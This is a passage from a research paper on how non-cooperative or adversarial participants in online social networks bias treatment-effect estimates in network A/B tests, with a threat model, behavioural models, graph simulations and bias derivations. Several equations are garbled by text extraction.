settings. To our knowledge, this is the first exploration of
the effect of non-cooperative behavior on cluster-randomized
designs for causal estimation in networks. We make the fol-
lowing contributions:

1. We introduce a framework to unify the study of non-
cooperative behavior and the estimation of treatment
effect in network settings. (Section 4)

2. We derive terms for the bias in ATE resulting from non-
cooperative behavior using a standard linear estimator
of individual and peer treatment effect. (Section 5.3)

3. We demonstrate empirically that non-cooperative behav-
ior can result in biased estimates of ATE for the same
linear estimator using simulations on both synthetic and
real-world graphs. (Section 6.4, Section 6.5)

4. We derive expected bias and both theoretically and em-
pirically explore the difference between random and
targeted placement of non-cooperative nodes in the net-
work. (Section 5.4)

5. We identify specific graph topologies that are particularly
vulnerable to non-cooperative influence. (Section 5.2,
Section 6.4)

In this work, we study the organization of non-cooperative

participants (NCPs) and whether the spillover effects of
their behavior can bias the effect estimates of A/B tests con-
ducted on the network. Our analysis assumes the set of non-
cooperative participants is known. For logical consistency, we
will assume NCPs are placed before treatment is assigned. We
use uniform edge-weighting designs, i.e. peer effects weight
outcomes of neighbors equally. We assume NCPs behave
according to the same behavioral model, which may be con-
ditioned on the treatment received.

Non-cooperative behavior has been documented in OSNs,
both in the academic literature and news media under a variety
of non-cooperative user behaviors: privacy-preserving data
obfuscation methods e.g. k-subscription [52], teens using
account-sharing rings on Instagram to protect their privacy
while applying for college [51], and shopper participation in
grocery loyalty card swapping pools [17] as cited in Brunton
and Nissenbaum [14].

We define our threat model with respect to experimental
design in Section 4 and provide a set of realistic real-world
scenarios in Section 7. In Section 8, we consider the ethical
implications of the use of bias correction methods to address
the effects of non-cooperative behavior.

2 Problem Formulation: Peer Effects

of Non-Cooperative Behavior

Peer effects describe the phenomenon in which interaction be-
tween subjects (often people) causes the treatment or outcome
of an experiment to differ from the treatment or outcome of a
subject in isolation. Understandably, network and social sci-
entists care a great deal about quantifying and controlling for
peer effects. OSNs allow for unprecedented study of peer ef-
fects; they are a unique source of data on social influence, and
the role of social media platforms themselves in emotional
and social contagion is well documented [20, 39].

Academic social scientists are not the only entities inter-
ested in understanding social behavior on OSNs. The pop-
ularity of social networking platforms has also encouraged
some advertising campaigns to use fake reviews and bot ac-
counts to sway public opinion by simulating grassroots sup-
port for products and ideas. Commercial organizations have
used fake product reviews to influence consumer purchasing
patterns [4, 55, 72], and political organizations have recruited
real and automated users in attempts to influence voting be-
havior and policy positions [15, 54, 64]. So-called “astroturf”
campaigns are one example of this phenomenon [54]. The
proliferation of disinformation by powerful actors has led to
a study of discord-maximization agents in OSNs [27]. Non-
cooperative behavior, as explored in this work, is not always
high stakes, as Figure 1 demonstrates. However, real-world
instances of adversarial non-cooperation could also lead to
devastating effects; we discuss two hypothetical instances in
Section 7.

Given the growing concern over the influence of non-
cooperative and sometimes targeted adversarial behavior in
large social media platforms [4, 37, 54, 71], we would like
to better understand the potential effects of participant non-
cooperation on effect estimation. This work seeks to answer
the following research questions:

RQ1 How can we measure the effects of a non-cooperative
node?

RQ2 Under what circumstances can these effects be large?

RQ3 What types of networks are structurally vulnerable to
the amplification of non-cooperative peer effects?

One of the challenges to developing accurate estimates
of peer effects is that non-cooperative and even adver-
sarial behavior can take many forms. Bots, competitor-
owned accounts, paid individuals, non-compliers, and discord-
maximizers might all function as adversaries in the estimation
of treatment effect relative to some network experiment. Non-
cooperative behavior can influence the behaviors and out-
comes of those exposed to non-cooperative outcomes, which
might mask, influence, or otherwise manipulate the true es-
timand of interest. These individuals may also distort the
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treatment exposure topology of the network, further biasing
measures of treatment effect.

Detecting specific behaviors of non-cooperative users re-
quires custom code tailored to the behavior of each form of
non-cooperation, yet different behavioral models may have
similar implications for effect estimation. Furthermore, non-
compliance behavior does not need to be adversarial to result
in bias effects, and the effect estimate bias may even be the
goal of a non-malicious user, e.g., in order to preserve their
privacy [52]. We discuss ethical aspects of non-compliance
behaviors, their detection, and the implications of their re-
moval in Section 8. We revisit the detection and prevention

tasks in Section 9.

2.1 Network Topology and Diffusion

of Peer Effects

Non-cooperative nodes block the flow of treatment effect
through a behavioral outcome intervention. This will have
different implications depending on the properties of the local
graph. We consider edge-weighting effect estimation models
out of scope, but note one may study similar effects of edge-
weighting by considering graph samples with variations in
graph degree distributions. We discuss this connection further
in Section 4.2 and conduct an empirical study in Section 5.2.

We specifically study the impact of graph topology in this
setting as any estimate of peer effect will be gated by the
connectivity of the network. The study of the relationship
between graph topology and the diffusion of treatment effect
(and the effects of non-cooperative participation) has connec-
tions with work studying e.g. information diffusion across
networks [8,9,56]. Influence maximization is concerned with
identifying the set of nodes in a (social) network to target
in order to maximize the spread of some quantity of inter-
est [20, 35, 38]. A similar problem is the study of diffusion
over a network and, in particular, resource-constrained diffu-
sion maximization. In this setting, node selection is associated
with some cost, and the total cost of the set of selected nodes
cannot exceed some budget [2]. This is similar to reasoning
about NCP node selection, though our work is interested in
studying the effects of non-cooperative behavior under vari-
ous selection procedures rather than maximizing the effect.

If the goal of the set of non-cooperative participants is to
maximize bias in the experimental estimate, it is unlikely
the entire network will consist of NCPs even in the worst
case. We instead consider bias for a set of NCPs up to a
dominating set of non-cooperative participants. A dominating
set X of a graph is a set of vertices such that every node in the
network is covered by, or shares an edge with, a member of
X . This is a similar coverage model as a Sybil attack, where
attackers seek to weaken redundancy protections and subvert
reputation systems by controlling a disproportionate share of
user identities in a peer-to-peer system [21, 67].

2.2 Related Work: Estimating Effects with

Non-Cooperative Participants

Some models of non-cooperative behavior can be cast as
non-participatory or non-compliance behavior in an experi-
mental study. For example, Kang and Imbens [37] introduce
peer encouragement designs under one-party compliance, an
approach to estimating causal estimands which is robust to
some forms of non-cooperative behaviors in a network setting
achieved through non-compliance.

We treat adoption of more robust estimators as an orthog-
onal concern, since ATE and its variants are by far the most
commonly used estimators for causal effects. We might in-
stead consider alternative methods for estimating treatment ef-
fect (e.g., average treatment effect on the treated, local average
treatment effect, peer encouragement designs), which may be
less vulnerable to non-cooperation biases but introduce other
weaknesses in causal effect estimation in the non-cooperative
setting.

3 Estimating Causal Effects

A/B testing is the standard method for estimating the effect
of treatment on a particular outcome of interest.1The proce-
dure uses random assignments of treatment in a population
to determine the difference in outcome after receiving that
treatment. Consider two example experiments:

Exp1 An OSN serves video content to a worldwide audience.
Developers at the OSN may want to select between
software-defined high and low video bitrates to see
if bitrates affect the percentage of videos watched to
completion (modeled after an experiment in Tosch et
al. [66]).

Exp2 The same OSN provides users with a stream of per-
sonalized curated content. The administrators of the
service might ask how the sentiment of curated content
(e.g., positive content vs. neutral content) influences
the amount of time a user spends with the service (mod-
eled after an experiment in Kramer et al. [39]).

In both experiments, the administrators would like to con-
duct an experiment to measure the relationship between two
outcomes by exposing some users UA to one treatment (e.g.,
content with positive-leaning sentiment or high bitrates), and
exposing others UB to another treatment (e.g., content mea-
sured to be neutral or low bitrates).

If the treatment is served to each user in individual silos,
we can directly compare the outcome (e.g., average amount of
time spent browsing or video completion rates) between the
two groups UA and UB. For each individual, we are concerned

1We use the term treatment to refer generally to the assignment status of
a unit to some experimental protocol, which may include multiple treatment
arms or the control arm.
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with estimating the effect of treatment on outcome. Let N

be the size of the user population, and zi be the treatment
assignment to user i. Here we consider only binary treatments
(i.e., zi = 1 or zi = 0).

Let Yzi be the outcome of user i under treatment assignment
z (also denoted Yi(Z = z)). Treatment is assigned randomly to
users, and the treatment assignment of each user is fixed once
assigned:

E
x

p
1

Y0i Average daily video completion rate for
user i, where i’s software bitrate was set
to the low value

Y1i Average daily video completion rate for
user i, where i’s software bitrate was set
to the high value

E
x

p
2

Y0i Average number of minutes per day user
i spent browsing, where i received neutral
sentiment content

Y1i Average number of minutes per day user
i spent browsing, where i was received
positive sentiment content

3.1 Propositional Setting

There are many methods described in the literature to measure
the effect of treatment on some population. In this work, we
will focus on the estimation of the average treatment effect

(ATE), t, the average difference in outcome under contrasting
treatments:

t = 1
N

N

Â
i

(Y1i �Y0i) (1)

Each individual unit (user) can only receive a single treatment
assignment, so we cannot observe both Y1i and Y0i. Instead,
we will estimate t under the potential outcomes framework of
Rubin [62]. This framework relies on the use of counterfac-

tuals. A counterfactual value is the outcome of an individual
under the alternative treatment assignment.

Our aim is to quantify the difference between the mean
outcomes of the population under global treatments (where ev-
ery individual receives treatment A and in a parallel universe,
every individual receives treatment B). There are several meth-
ods for estimating t using counterfactuals. The simplest pro-
cedure takes the difference between mean outcomes in each
treatment group:

t̂ = 1
N1

N1

Â
i,zi=1

Y1i �
1

N0

N0

Â
i,zi=0

Y0i (2)

Structural estimation methods learn a model of outcome de-
pending on the unit’s treatment assignment and other unit-
specific attributes, then estimate each unit’s counterfactual
outcome [32, 53]. Matching designs pair units in treatment

to units in control using e.g., nearest neighbor, and use the
outcomes of the matched units to estimate the counterfactual
outcomes [58].

The causal estimation framework discussed so far has been
in the propositional setting, where the data is independent and
identically distributed (iid). The potential outcomes frame-
work assumes that our population samples are iid and the
outcome of an individual i is dependent only on i and her
treatment assignment. That is, the treatment assignment of
other individuals does not interfere with i’s outcome. This is
referred to as the Stable Unit Treatment Value Assumption
(SUTVA) [61].

It is easy to see how SUTVA holds for Exp1: if each user is
randomized into a software bitrate treatment implemented as
a software configuration setting, then the bitrate only affects
views on that device. Unfortunately, SUTVA may not hold
for Exp2. We assumed that the accounts in Exp2 were siloed,
but this may not always be true. If users can share content
to others’ content streams, it becomes possible for a user
assigned one treatment to effectively receive both treatments
due to the exposure from their peers. Fortunately, there are
statistical methods for correcting this kind of spillover or peer
effect.

3.2 Relational Setting

When units can interact, and through interaction expose
other units to additional treatments, we are in a network or
relational context. In Exp2 this happens when the OSN con-
tent stream includes the curated content mixed with other
user-generated content. Additional positive content served to
users in UA may increase the amount of positive user content
created and shared by those users, potentially affecting the
time-on-site estimates of users in UB. With the addition of this
social component, we must revisit the experimental design.

3.2.1 SUTVA Violations

In the relational paradigm, the properties of one unit (e.g.,
user) are typically not independent of other units (the data is
non-iid). Let G = hV,Ei be an undirected graph representing
the relationships among the population, where two nodes
vi,v j have an edge ei, j if and only if there is a relationship
between vi and v j.

The edges between nodes are avenues of treatment expo-

sure. When units in treatment B are exposed to treatment A,
the outcome of those exposed units is potentially influenced
by that exposure. This treatment spillover or interference in-
troduces bias in estimates of ATE by mixing outcomes due to
differing treatments [57]. Figures 2a and 2b show an example
network of units in a relational context and the corresponding
causal-relational model for SUTVA violations in that network,
respectively.
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(a) Example network of units, e.g., users in an OSN, in a rela-
tional context. Units i, j, and k represent compliant participants;
r is a non-cooperative participant (NCP). This network structure
undergirds the peer effects of treatment and outcome on con-
nected nodes depicted in Figures 2b (no NCPs) and 3 (r is an
NCP).
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(b) Causal-relational model corresponding to treatment assigned
over the sample network shown in Figure 2a. In the networked
environment, the treatment (T ) and outcome (Y ) of unit j can
cause the outcome of another unit i, which in turn can influence
the outcome of another unit k. Solid lines correspond to causal re-
lationships in both the propositional and relational environments;
dashed lines correspond to causal relationships that occur only
in the relational environment and that imply SUTVA violations.
Double-headed arrows between outcomes represent temporal
unrolling over multiple timesteps.

Figure 2: Contrasting propositional and relational models.

If a user whose treatment was positive content shares that
content with their friends, then their treatment assignment
spills over to their friends’ treatment assignments. Now the
outcome of each user depends on the vector Z of treatment
assignments across the network rather than just individual
treatment assignment zi. This is a violation of SUTVA.

To estimate treatment effect, we must determine the differ-
ence between global treatment assignments Yi(Z = 1

N) and
Yi(Z = 0

N) for every unit in parallel universes:

t = 1
N

N

Â
i=1

�
Yi(Z = 1

N)�Yi(Z = 0
N)
�

(3)

That is, we wish to control for spillover by ensuring that all
units that could affect this unit’s treatment receive the same
treatment as our unit of interest. However, each unit can only
receive one treatment assignment. If the network graph has a
single component and Z assigns both treatments, at least one
unit will experience spillover from a unit assigned a different
treatment.

3.2.2 Measuring Spillover via Treatment Exposure

The treatment assignment vector Z over the graph results in
varying levels of treatment exposure for each node in the
network; that is, Z captures both the assigned treatment and
any spillover due to networked nodes [6]. If treatment assign-
ment to nodes across the network is assigned uniformly at
random, the probability that a node’s neighborhood (i.e., set
of adjacent nodes) is assigned global treatment A or global
treatment B is 2�di where di is the number of nodes adjacent
to i. This probability becomes very small very quickly, so the
probability of a single node being exposed to both treatment
assignments is high. To minimize this exposure between dif-
fering treatment assignments, Ugander et al. [68] introduce a
cluster-randomized treatment design which clusters the graph
and assigns treatment to entire clusters, a procedure termed
graph cluster randomization. This treatment design reduces
exposure to the alternative treatment assignment.

To estimate unit-level outcomes for global treatment A
(Y1i) and global treatment B (Y0i), the authors assume multiple
treatment assignment vectors for a given unit can map to
the same potential outcome. We use I[Z 2 W1

i
] to denote the

indicator function for Z belonging to the set of treatment
assignment vectors under which YZi = Y1i (i.e., assigned to
treatment A). When the function is true, unit i is network-

exposed to treatment. The analogous definitions hold for units
network-exposed to treatment B.

Under this assumption, the ATE can be estimated using a
Horvitz-Thompson estimator, which uses inverse probabil-
ity weighting over outcomes for units network-exposed to
treatment A and network-exposed to treatment B [68]:

t̂ = 1
N

N

Â
i=1

⇣
YZiI[Z 2 W1

i
]

P(Z 2 W1
i
)
� YZiI[Z 2 W0

i
]

P(Z 2 W0
i
)

⌘
(4)

Ugander et al. identify a number of exposure model defini-
tions for approximating W1

i
, W0

i
. One definition uses a neigh-

borhood portion threshold q such that Z 2 W1
i

when at least
qdi of i’s neighbors receive treatment, and Z 2 W0

i
when at

least qdi of i’s neighbors are assigned to control.

3.2.3 Additive Exposure Models

Gui et al. [30] introduce an estimator which separates treat-
ment effect into both individual treatment effect b, and peer

or network effect g, i.e., the effect of neighbors’ outcomes on
that unit’s outcome.2 Individual and peer effect estimates are
taken from the coefficients of a linear model of outcome g

using individual treatment assignment zi and the portion of
treated neighbors si. Returning to the content curation exam-
ple, if we believe the browsing time for one user influences

2Estimation of peer effects is an active area of research. New estimators
have been proposed since Gui et al. (e.g., [65]), some of which are not linear,
making decomposition of peer effects into non-cooperative and compliant
components quite challenging. As this is the first analysis of non-cooperative
units in A/B tests, we sought a more tractable estimator.
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browsing time for their friends, then their treatment assign-
ment affects that user’s friends’ outcomes through its effect
on that user’s browsing time. This, too, is a SUTVA violation.

The linear additive model assumes that ATE is additive
in individual and network effects. Instead of binning units
according to their network exposure to treatment and control
as in Ugander et al. [68], the portion of treated neighbors si

is used directly in the effect estimation:

g(zi,si) = a+bzi + gsi (5)

ATE is then estimated as the sum of the individual treat-
ment and treatment exposure parameters, b̂+ ĝ. This estima-
tion method allows a spectrum of treatment exposure across
the network without throwing out outcomes from partially-
exposed units, and is robust to SUTVA violations from out-
come interference (e.g., peer effects).

4 Threat Model

Given this framework for causal inference, we define a non-

cooperative participant (NCP), or non-cooperative node as
an individual in the population who responds under an inten-
tionally different response model. Non-cooperative outcomes
may bias estimates of the experimental quantity of interest.
There are a number of models for non-cooperative behavior.
For example, bots may not respond to treatment in the same
way as human users, or competitor-owned accounts and paid
users may engage in user manipulation unrelated to an exper-
iment in progress, where the effects of that manipulation may
interfere with the outcome of interest.

Combating non-cooperation is fundamentally an arms
race [5, 10]; it is therefore impossible to produce a generic
model that covers all possible models of non-cooperative
behavior. The behavioral model can be arbitrarily complex.
Indeed, sophisticated NCPs are likely interested in masking
some behavior to avoid detection. NCPs may be acting in
isolation or coordinating with other participants. It is even
possible for a group of non-cooperative participants to inter-
fere with an experiment without knowing one is underway.

We leave the characterization of real-world behavior to
other researchers who are better positioned to assess end-
user behavior in networked environments such as OSNs. Our
focus remains on exploring whether current network A/B
testing methodology is robust to non-cooperative behavior.
Thus, we focus our analysis on the worst-case models of
non-cooperative behavior. In the propositional setting, the
data is iid, so bias in estimated treatment effect is determined
only by the distorted response of non-cooperative participants.
Correcting for this bias is mathematically straightforward.

In the network setting, however, treatment of a single in-
dividual may expose the neighbors of that unit to treatment,
so bias is induced both through the NCP’s outcome and the
peer effect that NCP applies to its neighbors. We consider the

case with interference from both treatment and outcome (see
Figure 2b). This means the behavior of the NCP additionally
influences the outcome of its neighbors, so non-cooperative
bias in the network setting can diffuse through the network
via peer effects into outcomes of neighboring participants.

Assumptions. Recall this work conditions on the fact that
there is access to a high-quality classifier for non-cooperative
participants. OSNs have established systems to identify non-
cooperative behavior. Our system provides the follow-up anal-
ysis once NCPs are identified. OSNs can use the theoretical
approach in this work to provide a foundation for solutions
deployed on live data. OSNs may employ tests which detect
the presence of peer effects [7, 63].

We assume that each non-cooperative participant in the net-
work follows the same behavioral model and that the outcome
of individuals is bounded.

4.1 Non-Cooperative Behavioral Models

We consider the following set of possible behavioral models
a non-cooperative participant might follow:

Uniform-Random The participant responds randomly from
a uniform distribution over the outcome space, regardless
of treatment assignment.

Maximum The treated participant responds with the maxi-
mum outcome, and the control participant responds with
the minimum outcome, in order to inflate the estimated
treatment effect.

Minimum The treated participant responds with the mini-
mum outcome, and the control participant responds with
the maximum outcome in order to minimize the esti-
mated treatment effect.

Pooling Several participants coordinate to exchange or
pool their outcome responses, resulting in incorrectly
recorded outcomes (swapped with other individuals in
the NCP pool).

The Uniform-Random behavioral model results in an in-
crease in variance over the ATE. The non-cooperative partici-
pants inject noise into the estimate through randomly sampled
outcomes. In the network setting, this increases the amount
of random noise observed by neighbors, but does not system-
atically bias neighbor outcomes.

The Maximum and Minimum behavioral models poten-
tially bias the effect estimation in some direction. Because
these behavioral models produce extremes in their outcome
response function, participants can bias the outcomes of their
neighbors in settings with sufficiently large peer effects.

The Pooling model is a special case of bootstrap sampling:
unit outcomes are resampled from a given sample of outcomes
(i.e., outcomes of other units in the pool). This can act as a
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method for data poisoning (it can result in an incorrect record
of treatment assignment), and works to obfuscate personal
data (i.e., in self-reported outcomes). The NCP behavioral
models describing the loyalty-card-swapping and Instagram-
sharing-ring examples fall under this category.

4.2 Non-Cooperative Exposure Coverage

When NCPs form a dominating set over the graph, every node
is exposed to at least one non-cooperative outcome. Determin-
ing whether a set of vertices is a dominating set reduces from
the vertex cover problem and is an NP-complete decision
problem [31]. To approximate the smallest dominating set,
we use a standard greedy procedure to select nodes from the
graph using a simple heuristic from the number of uncovered
nodes, breaking ties with node degree [19]. Following the
additive treatment exposure framework (Section 3.2.3), we
use uniform edge-weighting in the heuristic.

In the uniform edge-weight setting, nodes providing the
greatest amount of coverage are not necessarily nodes with
highest degree. Uniform edge-weighting in the peer-effects
outcome model results in an inverse-degree-weighted influ-
ence from neighbors: a node with fewer neighbors has a
larger inverse-degree weighting per neighbor. We define non-

cooperative influence, wi, of a node i in the network G as:

wi = D
�1

A1
N

i
(6)

where D is the degree matrix of G, A is the adjacency matrix
of G, and 1i is a column vector with the ith row equal to 1.
Note wi is equal to the ith column sum of the transition matrix
of G and bounded [0, N]. For comparing total influence of a
set of NCPs between different graphs, we take the sum of wr

over all non-cooperative participants r in the set and divide
by N to normalize.

To maximize non-cooperative influence over the graph, we
construct an heuristic to capture both the number of nodes
covered by a set of non-cooperative participants and the rel-
ative strength of effect they hold over their neighbors. We
define participant degree influence w0 as node influence w
calculated over non-NCP neighbors. That is,

w0
i
= Â

j2Nb(i)�R

1
d j

(7)

where Nb(i) is the set of nodes adjacent to i, and d j is the
degree of node j.

NCP selection methods. We compare the following selec-
tion methods for constructing the dominating set:

RNCP Selects nodes to represent non-cooperative partici-
pants uniformly at random.

GNCP Greedily selects nodes to represent non-cooperative
participants, using participant degree influence w0 as a
heuristic.
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T

Y

T

Y

T

Y

j r i k

Figure 3: In networked environments with non-cooperative
participants (NCPs), the non-cooperative node r can partially
block the peer effects acting between unit j and unit i (note the
arrows from Yr are no longer double-headed as in Figure 2b).
Because the NCP behaves according to some external proto-
col (e.g., Uniform-Random, Minimum, etc.), its outcome is
independent of treatment (i.e., there is no arrow from T to
Y ). Furthermore, r’s behavior can influence the outcomes of
adjacent nodes, and this influence is independent of treatment.

RNCP selection procedures up to dominating sets result
in larger sets containing nodes with a range of neighborhood
sizes, which in this setting control the strength of ties. GNCP
selection is equivalent to a heuristic greedily selecting nodes
with strong ties in the degree-weighted setting.

5 Bias from Non-Cooperative Participants

We are interested in exploring how non-cooperative behav-
ior in network systems can influence ATE estimation (RQ1).
Previous work has shown that variance over ATE estimation
using graph cluster randomization is large and sensitive to
several choices in the experimental setup: e.g., estimation pa-
rameters, clustering method, and treatment assignment each
influence the variance over the ATE estimate for a particular
graph [23, 30, 65, 68]. Given the plurality of factors that influ-
ence the variance over ATE estimation, we focus our analysis
on the bias in the ATE estimate due to non-cooperative be-
havior. Since we are interested in examining bias in the most
extreme case, the Maximum and Minimum behavioral models
are of greater interest as those extreme-response behaviors
result in stronger peer effect, especially in estimation methods
that include the neighborhood outcome mean as a parame-
ter in the effect estimation. We constrain our analysis to a
single behavioral model shared between all non-cooperative
participants in the network. We assume NCP node identities
and behavioral functional forms are known; see Section 9 for
a discussion relaxing these assumptions. For an example of
how NCPs disrupt peer effects, contrast the causal relational
diagram of Figure 2b, which highlights spillover effects, with
the causal relational diagram of Figure 3, which highlights
non-cooperative spillover.

Let dR(x̂,k) denote the bias in the estimate of x due to k

non-cooperative participants in the population.
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5.1 Non-Cooperative Participation in the

Propositional Setting

In the propositional setting, the only influence an NCP can
exert on the estimated ATE is through its own behavior. We
can therefore separate the outcomes of non-cooperative par-
ticipants from the outcomes of compliant units:

t̂ = 1
N1

N

Â
i=1
zi=1
i/2R

Y1i �
1

N0

N

Â
i=1
zi=0
i/2R

Y0i

| {z }
ATE for compliant units

+
1

N1
Â
r2R

zr=1

Y1r �
1

N0
Â
r2R

zr=0

Y0r

| {z }
ATE for NCPs

(8)

where R is the set of non-cooperative participants in the popu-
lation. Note that the non-cooperative outcomes Y1r and Y0r are
defined by the non-cooperative behavioral function. When the
non-cooperative outcome function is constant, we can derive
the bias due to non-cooperative behavior:

t̂ = 1
N1

N

Â
i=1
zi=1
i/2R

Y1i �
1

N0

N

Â
i=1
zi=0
i/2R

Y0i +
|R1|
N1

YR1 �
|R0|
N0

YR0
| {z }

Bias

(9)

where R1, R0 are sets of non-cooperative participants receiv-
ing treatment or in control, respectively, and YR1, YR0 are non-
cooperative outcomes under treatment and control. So the
bias introduced from non-cooperative behavior in the propo-
sitional case is given by:

dR(t̂, |R|) =
|R1|
N1

YR1 �
|R0|
N0

YR0 (10)

5.2 Non-Cooperative Participation in the

Relational Setting

In systems with outcome interference, the treatment effect
diffuses through the network. This requires a temporal com-
ponent in the model. In the first time-step, the treatment in-
fluences only the nodes for which it was assigned. For sub-
sequent time-steps t, outcome is a function of both zi, the
unit’s treatment assignment, and Yzi( j, t�1), the outcome of
each neighbor j of i at time t �1.

5.2.1 Non-Cooperative Influence and Graph Topology

Non-cooperative participants in the network setting are par-
ticularly interesting because these nodes can block the flow
of treatment effect through the network. Non-cooperative be-
havior defined irrespective of Yzi( j, t�1) blocks peer effect that
would normally spill-over and affect the outcome of j and,
through j, j’s neighbors. This distorts the diffusion of treat-
ment effect over the network, and the degree of that distortion
increases as the number of time-steps increases and treatment
further propagates across the network. Naturally, diffusion of
treatment effect through the network also allows exposure to

adversary behavior to propagate through the network. This
is why astroturf campaigns are effective: artificial accounts
target individuals susceptible to peer effects and push them
toward a particular outcome, and those individuals in turn
affect their neighbors.

Given the relationship between non-cooperative partici-
pants, neighborhood outcomes, and ATE bias, we would like
to examine how placement of NCP nodes in the network graph
relates to the strength of non-cooperative bias.

5.2.2 Empirical Study of Influence and Topology

It is likely that differences in network topology can affect
the strength of total non-cooperative influence (RQ3). To ex-
amine the relationship between topology and NCP set selec-
tion, we empirically analyzed the increase in total normalized
non-cooperative influence as the number of NCPs increases
using the random and greedy selection procedures for three
different random graph generation procedures: small-world
networks [70], forest-fire models [42], and stochastic block
models [26]. All parameters were chosen either from exam-
ples in the corresponding papers (i.e., [70], [42], and [26]),
or tuned to match median edge counts for stochastic block
models, which are designed to model real-world community
structure. Generating graphs with the same number of nodes
and median edge count ensures that comparisons between
generated graphs are specific to differences in graph topology
alone.

Small-world networks. Small-world networks are gener-
ated by constructing a lattice with a given degree and then
rewiring edges to new nodes with rewiring probability psw.
A rewiring probability of 0 produces a regular lattice, and a
rewiring probability of 1 produces a random (Erdős-Rényi)
network. When the rewiring probability falls in the range
[0.01, 0.1], the network is considered a small-world network.
These networks have large clustering coefficients and short
diameters, which are properties found to be consistent with
many real-world networks [70].

Forest-fire models. Forest-fire models are a type of prefer-
ential attachment graph. Graphs are constructed by adding
nodes one at a time. When a node n is added to the network,
an edge is added between n and some other node a chosen
uniformly at random from the current set of nodes. Then,
some number x,y of additional edges are added between a

and other nodes in the graph: x is the number of new outgoing
edges from a, and y is the number of new incoming edges
to a. These parameters are controlled by parameters pff, r

and assigned by sampling from geometric distributions with
means pff/(1� pff) and rpff(1�rpff), respectively. Networks
generated in this way have long-tailed in- and out-degree dis-
tributions, community structure, shrinking graph diameter,
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and densification following a power law, each of which are
properties identified in real-world networks [42].

Stochastic block models. Stochastic block models (SBMs)
are a widely used benchmark for graph generation in the com-
munity detection literature. These models are generated by
constructing individual communities of bounded size, each
generated using some intracommunity connection probabil-
ity, and adding edges between communities according to a
community mixing probability. SBMs have ground truth com-
munities by construction, and the networks generated fol-
low a power law distribution in node degree and community
size [26].

Our analysis considers these three graph generation pro-
cedures for graphs of size 500, 1000, and 5000. We se-
lected graph generation parameters such that the median
number of edges in generated graphs fell within 10% of the
same edge count (1350, 4600, and 125,000 edges for each
graph size, respectively). For forest-fire models, we generate
graphs with forward-burning probability pff and backward
burning ratio r pairs (pff,r) 2 {(0.32,1.031), (0.37,0.892),
(0.37,0.946)}. For small-world networks, we generate graphs
with rewiring parameter psw 2 {0.03,0.05,0.1}. For stochas-
tic block models, we generate graphs with intracommunity
attachment probability 0.8 and intercommunity attachment
probability 2 {0.1,0.2,0.3}. For each graph setting, we gen-
erate 100 graphs of that type. Results were consistent across
size and parameter settings within each graph type, so we
report results for 1000-node graphs with a single parameter
setting. For forest-fire models, we set (pff,r) = (0.37,0.892).
For small-world networks, we set psw = 0.05. For SBMs, we
set µ = 0.2.

Findings. Figure 4 shows the increase in total normalized
non-cooperative influence as the number of non-cooperative
participants increases for SBMs, small-world graphs, and
forest-fire models with 1000 nodes. Both GNCP and RNCP
selection procedures are considered. Influence of NCPs is
closely related to the connectivity and degree distribution of
the graph.

Small-world graphs show low total non-cooperative influ-
ence, even under GNCP selection of NCPs. This is due to the
construction procedure for the graph. The degree distribution
in small-world graphs is tight, so all nodes have nearly the
same number of neighbors. As a result, no individual node is
likely to have a significantly greater influence than any other
in the network and there is little difference between the NCP
sets constructed under GNCP or RNCP selection procedures.

Forest-fire models require the largest dominating sets (35%
of the nodes), and naturally reach the highest non-cooperative
influence. As the size of the NCP set increases, there is
a significant and increasing difference between the non-
cooperative influence of NCP-sets selected under GNCP com-

Figure 4: Total normalized influence of non-cooperative par-
ticipants as the number of NCPs increases in stochastic block
models, small-world networks, and forest-fire models. We
considered cases where NCPs are selected either uniformly
at random (RNCP, dashed) or greedily using the participant
degree influence as a coverage heuristic (GNCP, solid).

pared to NCP-sets selected under RNCP. A dominating set
selected under GNCP in the forest-fire simulations total an
average of 0.69 influence over the graph, and the curve of
total influence increases linearly in the number of NCPs.

SBMs also show a large difference in total non-cooperative
influence between NCP selection methods. When NCP sets
are selected under RNCP, their average non-cooperative influ-
ence (wr) is 0.17, whereas dominating sets constructed under
GNCP selection have an average non-cooperative influence
of 0.57.

In forest-fire models, the difference in total non-cooperative
influence between NCP-sets selected under GNCP and RNCP
is a consequence of the long tails of the degree distributions.
Since nodes of high degree must be drawn from the tails of the
degree distribution, they are less likely to be selected under
RNCP. Nodes with low degree are more likely to be selected
under RNCP as the probability density of low degree is much
higher in these degree distributions.

5.3 Bias in Average Treatment Effect (ATE)

We will now examine bias in estimated ATE due to non-
cooperative participation (RQ1). First, we can derive the bias
due to NCPs in the linear estimator from Gui et al. [30],
shown in Equation 5. Let s be a vector containing the portion
of treated neighbors for each node in the network. Recall that
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t̂ = b̂+ ĝ. The parameters b,g are estimated as (see Eq. 5):

b̂ =
(Âs2)(ÂZY )� (ÂZs)(ÂsY )

(ÂZ2)(Âs2)�Â(Zs)2 (11)

ĝ = (ÂZ
2)(ÂsY )� (ÂZs)(ÂZY )

(ÂZ2)(Âs2)�Â(Zs)2 (12)

We can simplify these expressions using the definition of Z.
Since treatment is binary, ÂZ

2 = ÂZ = N1, the number of
units receiving treatment, and ÂZY is the sum of outcomes
from units receiving treatment, ÂY1.

b̂ =
(Âs2)(ÂY1)� (ÂZs)(ÂsY )

N1(Âs2)�ÂZs2 (13)

ĝ = N1(ÂsY )� (ÂZs)(ÂY1)

N1(Âs2)�ÂZs2 (14)

There are two ways a non-cooperative participant r influ-
ences the estimated parameters: (1) through its own outcome,
Yr, and (2) through neighborhood exposure to its outcome. In
this additive framework, we assume that gÂ

YA j

d j
is the portion

of an individual j’s outcome, Yj, due to network effect. Be-
cause of the additive functional form, we can separate these
two sources of bias. We let b̂R, ĝR be the bias in estimated
parameters due to the outcome from a set of non-cooperative
participants R, and b̂Y , ĝY be the bias in estimated parameters
due to neighborhood exposure to outcomes from R, so that

dR(t,k) = b̂R + ĝR + b̂Y + ĝY (15)

Since these parameters are estimated as sums over each
unit individually, we can divide b̂ and ĝ into terms accounting
for outcomes from compliant units separately from outcomes
of non-cooperative participants. Then the estimate of the pa-
rameters due to non-cooperative outcome is given:

b̂R =

|R1|Y1R Â
�
sr

2�� (ÂZs)
✓

Â
r2R

srYr

◆

N1 (Âs2)�ÂZs2 (16)

ĝR =

N1 Â
r2R

srYr � |R1|Y1R ÂZs

N1 (Âs2)�ÂZs2 (17)

So the bias in estimates b̂, ĝ due to non-cooperative outcome
is:

b̂R + ĝR =

|R1|Y1R

�
Âs2 �ÂZs

�
+(N1 �ÂZs)

✓
Â

r2R

srYr

◆

N1 (Âs2)�ÂZs2

(18)
Note that the only terms of b̂R + ĝR related to the placement
